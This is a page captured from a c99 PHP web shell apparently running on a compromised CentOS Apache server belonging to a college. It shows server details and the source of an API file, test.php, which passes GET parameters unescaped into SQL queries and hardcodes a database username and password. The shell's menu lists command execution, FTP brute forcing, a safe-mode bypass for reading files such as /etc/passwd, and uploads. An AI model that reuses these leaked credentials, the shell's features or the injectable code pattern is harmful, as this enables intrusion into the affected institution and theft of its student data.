!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/sync-eis-college/api/   drwxr-xr-x
Free 52.6 GB of 127.8 GB (41.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     test.php (4.27 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    error_reporting
(E_ALL);
    
ini_set('display_errors'1);
    
ini_set('memory_limit','16M');
    require_once 
'JSON.php';
    
header('Content-Type: application/json; charset=utf-8');
    
    
$table $_GET["table"];
    
$db $_GET["db"];
    
$limit = isset($_GET["limit"]) ?  'limit ' $_GET["limit"] : ''
    
$skip = isset($_GET["skip"]) ?  ' offset  '  $_GET["skip"] : '' ;  

    
$isCount = isset($_GET["count"]);

      if(!
$isCount){
        
$sql "select * from  `$table` $limit  $skip";
      }else{
        
$sql "select count(*) as c from   `$table` ";
      }


    
$host "localhost";
    
$username "eis_sync";
    
$password "P@ssw0rd@2017";
    
$objConnect mysql_connect($host,$username,$password);
    
$isCount "";

    
$objDB mysql_select_db($db);

    
//$strSQL = "select * from rg_Student";
    
mysql_query("SET NAMES UTF8");
    
$result mysql_query($sql) or die (mysql_error());
    
//$post = mysql_fetch_array($objQuery);
    

    //$i = 0;
    //$records = mysql_num_rows($objQuery);

    
    // $data =   '[' ;
    // $count_column = mysql_num_fields($result);
    // //$post_data = mysql_fetch_array($result);
    // $num_rows = mysql_num_rows($result);
    // $num_row_i =0;
    // while ($post= mysql_fetch_array($result, MYSQL_ASSOC))
    // {
    //     $data .= '{';
    //     $column_i = 0;
    //     foreach($post as $key => $var)
    //     {
    //         $column_i ++;
    //         echo "Count Column : ".$column_i ."<br/>";
    //         if($column_i == $count_column){
    //             if($key == "0"){
    //                 // ---       
    //             }else if ($key == "1"){
    //                 // --- 
    //             }else{
    //                 $data .= '"'.$key . '":"' . $var . '"';    
    //             }
    //         }else{
    //             if($key == "0"){
    //                 // --- 
    //             }else if ($key == "1"){
    //                 // --- 
    //             }else{
    //                 $data .= '"'.$key . '":"' . $var . '",';    
    //             }
    //         }
    //     }
    //     $num_row_i ++;
    //     if($num_row_i == $num_rows){
    //         $data .= '}';
    //     }else{
    //         $data .= '},';
    //     }
    //     //$data .= '},';
        
    // }
    // $data .=   ']' ;

    // $num_rows2 = mysql_num_rows($result);
    // $rows_i = 0;
    // while ($row = mysql_fetch_assoc($result)) {
    //     echo $row["userid"];
    //     echo $row["fullname"];
    //     echo $row["userstatus"];
    // }
    // for ($x = 0; $x < mysql_num_fields($objQuery); $x++) {
    //     $fld = mysql_fetch_field($objQuery, $i);
    //     echo "The number is: $fld->name : $x <br>";
    // } 




    // while ($i < mysql_num_fields($objQuery))
    // {
    //    $fld = mysql_fetch_field($objQuery, $i);
    //    $data .= '"'.$fld->name.'",';
    //    $i = $i + 1;
    // }
    // $data .= ']';
    //echo "SQL : ".$sql ."\n" ;
    //echo $data;

    // $data =   '[' ;
    // while($row_post = mysql_fetch_array($objQuery))
    // {
    //     echo "<h3>" . $row_post['section_name'] . "</h3>";
    // }
    // $data .= ']';

  
   //echo "\n";
    // $data =   '[' ;
    // $data .= json_encode($post);
    // $data .= ']';
    // $arr = array('isError' => false , 'data' => $isCount ? $post[0]["c"] : $data );


    // $json_data = '{';
    // $json_data .= '"isError":false,';
    // if($isCount){
    //     $json_data .= '"data":'.$post[0]["c"];
    // }
    // else {
    //     $json_data .= '"data":'.$data;
    // }
    // $json_data .= '}';
    // echo $json_data;

    //$post= mysql_fetch_array($result);
    // $post = mysql_fetch_assoc($result);
    // mysql_free_result($result);

    
$post = array();
    while(
$row mysql_fetch_assoc($result)){
        
$post[] = $row;
    }
    
mysql_free_result($result);

    
$arr = array('isError' => false 'data' => $isCount $post[0]["c"] : $post);
    
//echo json_encode($arr);
    
$json = new Services_JSON;
    echo  
$json->encode($arr);


    
mysql_close($objConnect);
    
// echo json_encode($arr);

    
    //echo $arr;
    //echo "\n";
    //var_dump($post);
    //echo "\n";
    //print_r($post);


    
      

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0062 ]--